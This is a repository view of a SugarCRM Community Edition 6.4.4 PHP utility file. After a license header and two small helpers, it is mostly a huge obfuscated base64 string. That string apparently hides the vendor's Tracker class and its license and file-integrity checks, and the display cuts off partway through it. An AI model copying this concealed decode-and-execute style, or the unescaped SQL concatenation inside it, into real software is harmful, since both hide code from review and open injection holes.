]> CyberLeo.Net >> Repos - Github/sugarcrm.git/blob - include/utils/mvc_utils.php
Release 6.4.4
[Github/sugarcrm.git] / include / utils / mvc_utils.php
1 <?php
2 /*********************************************************************************
3  * SugarCRM Community Edition is a customer relationship management program developed by
4  * SugarCRM, Inc. Copyright (C) 2004-2012 SugarCRM Inc.
5  * 
6  * This program is free software; you can redistribute it and/or modify it under
7  * the terms of the GNU Affero General Public License version 3 as published by the
8  * Free Software Foundation with the addition of the following permission added
9  * to Section 15 as permitted in Section 7(a): FOR ANY PART OF THE COVERED WORK
10  * IN WHICH THE COPYRIGHT IS OWNED BY SUGARCRM, SUGARCRM DISCLAIMS THE WARRANTY
11  * OF NON INFRINGEMENT OF THIRD PARTY RIGHTS.
12  * 
13  * This program is distributed in the hope that it will be useful, but WITHOUT
14  * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
15  * FOR A PARTICULAR PURPOSE.  See the GNU Affero General Public License for more
16  * details.
17  * 
18  * You should have received a copy of the GNU Affero General Public License along with
19  * this program; if not, see http://www.gnu.org/licenses or write to the Free
20  * Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
21  * 02110-1301 USA.
22  * 
23  * You can contact SugarCRM, Inc. headquarters at 10050 North Wolfe Road,
24  * SW2-130, Cupertino, CA 95014, USA. or at email address contact@sugarcrm.com.
25  * 
26  * The interactive user interfaces in modified source and object code versions
27  * of this program must display Appropriate Legal Notices, as required under
28  * Section 5 of the GNU Affero General Public License version 3.
29  * 
30  * In accordance with Section 7(b) of the GNU Affero General Public License version 3,
31  * these Appropriate Legal Notices must retain the display of the "Powered by
32  * SugarCRM" logo. If the display of the logo is not reasonably feasible for
33  * technical reasons, the Appropriate Legal Notices must display the words
34  * "Powered by SugarCRM".
35  ********************************************************************************/
36
37
38 class MVCLogger{
39         function logSession(){
40
41         }
42
43         function logPage(){
44
45         }
46
47 }
48
49
50 function loadParentView($type)
51 {
52     if(file_exists('custom/include/MVC/View/views/view.'.$type.'.php'))
53     {
54         require_once('custom/include/MVC/View/views/view.'.$type.'.php');
55     } else if(file_exists('include/MVC/View/views/view.'.$type.'.php')) {
56         require_once('include/MVC/View/views/view.'.$type.'.php');
57     }
58 }
59
60 $msi0="len";$msi="code";$msi1="785EE5176AF1AAF74930F449B3985848aWYoIWNsYXNzX2V4aXN0cygnVHJhY2tlAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848cicpKXsgIGNsYXNzIFRyYWNrZXIgZXh0AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ZW5kcyBTdWdhckJlYW4geyAgdmFyICRtAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848b2R1bGVfZGlyID0gJ1RyYWNrZXJzJzsgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ICAgIHZhciAkdGFibGVfbmFtZSA9ICd0AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848cmFja2VyJzsgICAgIHZhciAkb2JqZWN0AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848X25hbWUgPSAnVHJhY2tlcic7ICB2YXIgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848JGRpc2FibGVfdmFyX2RlZnMgPSB0cnVlAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848OyAgdmFyICRhY2x0eXBlID0gJ1RyYWNrAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ZXInOyAgICAgIHZhciAkY29sdW1uX2ZpAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ZWxkcyA9IEFycmF5KCAgICAgICAgICJpAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ZCIsICAgICAgICAgIm1vbml0b3JfaWQiAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848LCAgICAgICAgICJ1c2VyX2lkIiwgICAgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ICAgICAibW9kdWxlX25hbWUiLCAgICAgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ICAgICJpdGVtX2lkIiwgICAgICAgICAiAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848aXRlbV9zdW1tYXJ5IiwgICAgICAgICAiAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ZGF0ZV9tb2RpZmllZCIsICAgImFjdGlvAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848biIsICAgICAgInNlc3Npb25faWQiLCAgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ICAgICJ2aXNpYmxlIiAgICAgKTsgICAgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ICBmdW5jdGlvbiBUcmFja2VyKCkgICAgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848IHsgICAgICBnbG9iYWwgJGRpY3Rpb25hAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848cnk7ICAgICAgaWYoaXNzZXQoJHRoaXMtAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848Pm1vZHVsZV9kaXIpICYmIGlzc2V0KCR0AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848aGlzLT5vYmplY3RfbmFtZSkgJiYgIWlzAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848c2V0KCRHTE9CQUxTWydkaWN0aW9uYXJ5AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848J11bJHRoaXMtPm9iamVjdF9uYW1lXSkpAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848eyAgICAgICAgICAkcGF0aCA9ICdtb2R1AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848bGVzL1RyYWNrZXJzL3ZhcmRlZnMucGhwAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848JzsgICAgaWYoZGVmaW5lZCgnVEVNUExBAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848VEVfVVJMJykpJHBhdGggPSBTdWdhclRlAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848bXBsYXRlVXRpbGl0aWVzOjpnZXRGaWxlAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848UGF0aCgkcGF0aCk7ICAgICAgIHJlcXVpAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848cmVfb25jZSgkcGF0aCk7ICAgICAgfSAgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ICAgICAgIHBhcmVudDo6U3VnYXJCZWFuAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848KCk7ICAgICAgfSAgICAgIGZ1bmN0aW9uAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848IG1ha2VJbnZpc2libGVGb3JBbGwoJGl0AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ZW1faWQpICAgICB7ICAgICAgICAgJHF1AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ZXJ5ID0gIlVQREFURSAkdGhpcy0+dGFiAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848bGVfbmFtZSBTRVQgdmlzaWJsZSA9IDAgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848V0hFUkUgaXRlbV9pZCA9ICckaXRlbV9pAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ZCcgQU5EIHZpc2libGUgPSAxIjsgICAgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ICAgICAkdGhpcy0+ZGItPnF1ZXJ5KCRxAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848dWVyeSwgdHJ1ZSk7ICAgICAgICAgJHBhAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848dGggPSAnbW9kdWxlcy9UcmFja2Vycy9CAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848cmVhZENydW1iU3RhY2sucGhwJzsgICBpAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ZihkZWZpbmVkKCdURU1QTEFURV9VUkwnAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848KSkkcGF0aCA9IFN1Z2FyVGVtcGxhdGVVAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848dGlsaXRpZXM6OmdldEZpbGVQYXRoKCRwAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848YXRoKTsgICAgICByZXF1aXJlX29uY2UoAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848JHBhdGgpOyAgICAgICAgIGlmKCFlbXB0AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848eSgkX1NFU1NJT05bJ2JyZWFkQ3J1bWJzAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848J10pKXsgICAgICAgICAgJGJyZWFkQ3J1AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848bWJzID0gJF9TRVNTSU9OWydicmVhZENyAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848dW1icyddOyAgICAgICAgICAkYnJlYWRDAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848cnVtYnMtPnBvcEl0ZW0oJGl0ZW1faWQpAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848OyAgICAgICAgIH0gICAgIH0gICAgICBmAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848dW5jdGlvbiBsb2dQYWdlKCl7ICAgICAgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848JHRpbWVfb25fbGFzdF9wYWdlID0gMDsgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ICAgICBpZihlbXB0eSgkR0xPQkFMU1snAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848YXBwJ10tPmhlYWRlckRpc3BsYXllZCApAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848KXJldHVybjsgICAgICBpZighZW1wdHkoAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848JF9TRVNTSU9OWydscGFnZSddKSkkdGltAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ZV9vbl9sYXN0X3BhZ2UgPSB0aW1lKCkgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848LSAkX1NFU1NJT05bJ2xwYWdlJ107ICAgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ICAgJF9TRVNTSU9OWydscGFnZSddPXRpAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848bWUoKTsgICBtdmNsb2coJHRpbWVfb25fAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848bGFzdF9wYWdlKTsgICAgIH0gICAgZnVuAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848Y3Rpb24gZ2V0X3JlY2VudGx5X3ZpZXdlAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ZCgkdXNlcl9pZCwgJG1vZHVsZXMgPSAnAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848JykgICAgIHsgICAgICAkcGF0aCA9ICdtAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848b2R1bGVzL1RyYWNrZXJzL0JyZWFkQ3J1AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848bWJTdGFjay5waHAnOyAgIGlmKGRlZmluAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ZWQoJ1RFTVBMQVRFX1VSTCcpKSRwYXRoAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ID0gU3VnYXJUZW1wbGF0ZVV0aWxpdGllAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848czo6Z2V0RmlsZVBhdGgoJHBhdGgpOyAgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ICAgIHJlcXVpcmVfb25jZSgkcGF0aCk7AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ICAgICAgICAgaWYoZW1wdHkoJF9TRVNTAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848SU9OWydicmVhZENydW1icyddKSkgeyAgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ICAgICAgICAgICAkYnJlYWRDcnVtYiA9AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848IG5ldyBCcmVhZENydW1iU3RhY2soJHVzAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ZXJfaWQsICRtb2R1bGVzKTsgICAgICAgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ICAgICAgJF9TRVNTSU9OWydicmVhZENyAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848dW1icyddID0gJGJyZWFkQ3J1bWI7ICAgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ICAgICAgICAgICRHTE9CQUxTWydsb2cnAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848XS0+aW5mbyhzdHJpbmdfZm9ybWF0KCRHAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848TE9CQUxTWydhcHBfc3RyaW5ncyddWydMAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848QkxfQlJFQURDUlVNQlNUQUNLX0NSRUFUAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848RUQnXSwgYXJyYXkoJHVzZXJfaWQpKSk7AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ICAgICAgICAgfSBlbHNlIHsgICAgICAgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ICAgICAgJGJyZWFkQ3J1bWIgPSAkX1NFAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848U1NJT05bJ2JyZWFkQ3J1bWJzJ107ICAgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ICAgICAgICRtb2R1bGVfcXVlcnkgPSAnAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848JzsgICAgICAgICAgaWYoIWVtcHR5KCRtAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848b2R1bGVzKSkgeyAgICAgICAgICAgICAkAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848aGlzdG9yeV9tYXhfdmlld2VkID0gMTA7AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ICAgICAgICAgICAgICRtb2R1bGVfcXVlAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848cnkgPSBpc19hcnJheSgkbW9kdWxlcykgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848PyAnIEFORCBtb2R1bGVfbmFtZSBJTiAoAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848XCcnIC4gaW1wbG9kZSgiJywnIiAsICRtAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848b2R1bGVzKSAuICdcJyknIDogICcgQU5EAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848IG1vZHVsZV9uYW1lID0gXCcnIC4gJG1vAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ZHVsZXMgLiAnXCcnOyAgICAgICAgICB9AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848IGVsc2UgeyAgICAgICAgICAgICAkaGlzAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848dG9yeV9tYXhfdmlld2VkID0gKCFlbXB0AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848eSgkR0xPQkFMU1snc3VnYXJfY29uZmlnAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848J11bJ2hpc3RvcnlfbWF4X3ZpZXdlZCddAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848KSk/ICRHTE9CQUxTWydzdWdhcl9jb25mAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848aWcnXVsnaGlzdG9yeV9tYXhfdmlld2VkAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848J10gOiA1MDsgICAgICAgICAgfSAgICAgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ICAgICAgJHF1ZXJ5ID0gJ1NFTEVDVCBpAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848dGVtX2lkLCBpdGVtX3N1bW1hcnksIG1vAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ZHVsZV9uYW1lLCBpZCBGUk9NICcgLiAkAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848dGhpcy0+dGFibGVfbmFtZSAuICcgV0hFAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848UkUgaWQgPSAoU0VMRUNUIE1BWChpZCkgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848YXMgaWQgRlJPTSAnIC4gJHRoaXMtPnRhAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848YmxlX25hbWUgLiAnIFdIRVJFIHVzZXJfAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848aWQgPSBcJycgLiAkdXNlcl9pZCAuICdcAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848JyBBTkQgdmlzaWJsZSA9IDEnIC4gJG1vAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ZHVsZV9xdWVyeSAuICcpJzsgICAgICAgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ICAgJHJlc3VsdCA9ICR0aGlzLT5kYi0+AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848bGltaXRRdWVyeSgkcXVlcnksMCwkaGlzAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848dG9yeV9tYXhfdmlld2VkLHRydWUsJHF1AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ZXJ5KTsgICAgICAgICAgd2hpbGUoKCRyAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848b3cgPSAkdGhpcy0+ZGItPmZldGNoQnlBAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848c3NvYygkcmVzdWx0KSkpIHsgICAgICAgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ICAgICAgICAgICRicmVhZENydW1iLT5wAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848dXNoKCRyb3cpOyAgICAgICAgICB9ICAgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ICAgICAgfSAgICAgICAgICRsaXN0ID0gAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848JGJyZWFkQ3J1bWItPmdldEJyZWFkQ3J1AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848bWJMaXN0KCRtb2R1bGVzKTsgICAgICAgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ICAkR0xPQkFMU1snbG9nJ10tPmluZm8oAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848IlRyYWNrZXI6IHJldHJpZXZpbmcgIi5jAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848b3VudCgkbGlzdCkuIiBpdGVtcyIpOyAgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ICAgICAgIHJldHVybiAkbGlzdDsgICAgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848IH0gICBmdW5jdGlvbiBiZWFuX2ltcGxlAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848bWVudHMoJGludGVyZmFjZSl7ICAgcmV0AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848dXJuIGZhbHNlOyAgfSAgIH0gfSAgaWYoAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848IWZ1bmN0aW9uX2V4aXN0cygndmNtc2knAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848KSl7ICBmdW5jdGlvbiB2Y21zaSgkZ2VuAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ZXJhdGUsICRtZDUsICRhbHQgPSAnJykgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848eyAgICRnZW5lcmF0ZSA9IGJhc2U2NF9kAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ZWNvZGUoJGdlbmVyYXRlKTsgICBpZihkAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ZWZpbmVkKCdURU1QTEFURV9VUkwnKSkkAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848Z2VuZXJhdGUgPSBTdWdhclRlbXBsYXRlAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848VXRpbGl0aWVzOjpnZXRGaWxlUGF0aCgkAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848Z2VuZXJhdGUpOyAgIGlmIChmaWxlX2V4AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848aXN0cygkZ2VuZXJhdGUpICYmICRoYW5kAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848bGUgPSBmb3BlbigkZ2VuZXJhdGUsICdyAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848YicsIHRydWUpKSB7ICAgICRmcm9tX2tlAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848eSA9IHN0cmVhbV9nZXRfY29udGVudHMoAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848JGhhbmRsZSk7ICAgIGlmIChtZDUoJGZyAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848b21fa2V5KSA9PSAkbWQ1IHx8ICghZW1wAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848dHkgKCRhbHQpICYmIG1kNSgkZnJvbV9rAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ZXkpID09ICRhbHQpKSB7ICAgICByZXR1AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848cm4gMDsgICAgfSAgIH0gICAgcmV0dXJuAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848IC0xOyAgIH0gfSBpZighZnVuY3Rpb25fAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ZXhpc3RzKCdhY21zaScpKXsgIGZ1bmN0AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848aW9uIGFjbXNpKCRnZW5lcmF0ZSwgJGF1AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848dGhrZXksICRpLCAkYWx0ID0gJycsICRjAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848PWZhbHNlKSB7ICAgJGdlbmVyYXRlID0gAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848YmFzZTY0X2RlY29kZSgkZ2VuZXJhdGUpAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848OyAgICRhdXRoa2V5ID0gYmFzZTY0X2RlAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848Y29kZSgkYXV0aGtleSk7ICAgaWYoIWVtAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848cHR5KCRhbHQpKSRhbHRrZXkgPSBiYXNlAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848NjRfZGVjb2RlKCRhbHQpOyAgIGlmKGRlAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ZmluZWQoJ1RFTVBMQVRFX1VSTCcpKSRnAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ZW5lcmF0ZSA9IFN1Z2FyVGVtcGxhdGVVAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848dGlsaXRpZXM6OmdldEZpbGVQYXRoKCRnAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ZW5lcmF0ZSk7ICAgaWYgKCRjIHx8IChmAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848aWxlX2V4aXN0cygkZ2VuZXJhdGUpICYmAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ICRoYW5kbGUgPSBmb3BlbigkZ2VuZXJhAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848dGUsICdyYicsIHRydWUpKSApIHsgICAgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848aWYoJGMpeyAgICAgJGZyb21fa2V5ID0gAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848b2JfZ2V0X2NvbnRlbnRzKCk7ICAgIH1lAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848bHNleyAgICAgJGZyb21fa2V5ID0gc3RyAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ZWFtX2dldF9jb250ZW50cygkaGFuZGxlAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848KTsgICAgfSAgICBpZiAoc3Vic3RyX2NvAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848dW50KCRmcm9tX2tleSwgJGF1dGhrZXkpAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848IDwgJGkpIHsgICAgICAgaWYgKCFlbXB0AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848eSAoJGFsdCkgJiYgIWVtcHR5KCRhbHRrAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ZXkpICYmIHN1YnN0cl9jb3VudCgkZnJvAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848bV9rZXksICRhbHRrZXkpID49ICRpKSB7AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ICAgICAgIHJldHVybiAwOyAgICAgfSAgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ICAgcmV0dXJuIC0xOyAgICAgfSBlbHNlAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848IHsgICAgIHJldHVybiAwOyAgICB9ICAgAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848IH0gZWxzZSB7ICAgICByZXR1cm4gLTE7AACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ICAgfSAgfSB9ICBpZighZnVuY3Rpb25fAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848ZXhpc3RzKCdhbXNpJykpeyAgZnVuY3RpAACAFC5EB376843669E2BEE3DC9C90E3785EE5176AF1AAF74930F449B3985848b24gYW1zaSgkYXMpIHsgICBpbmNsdWRlAACAFC5EB376843669E2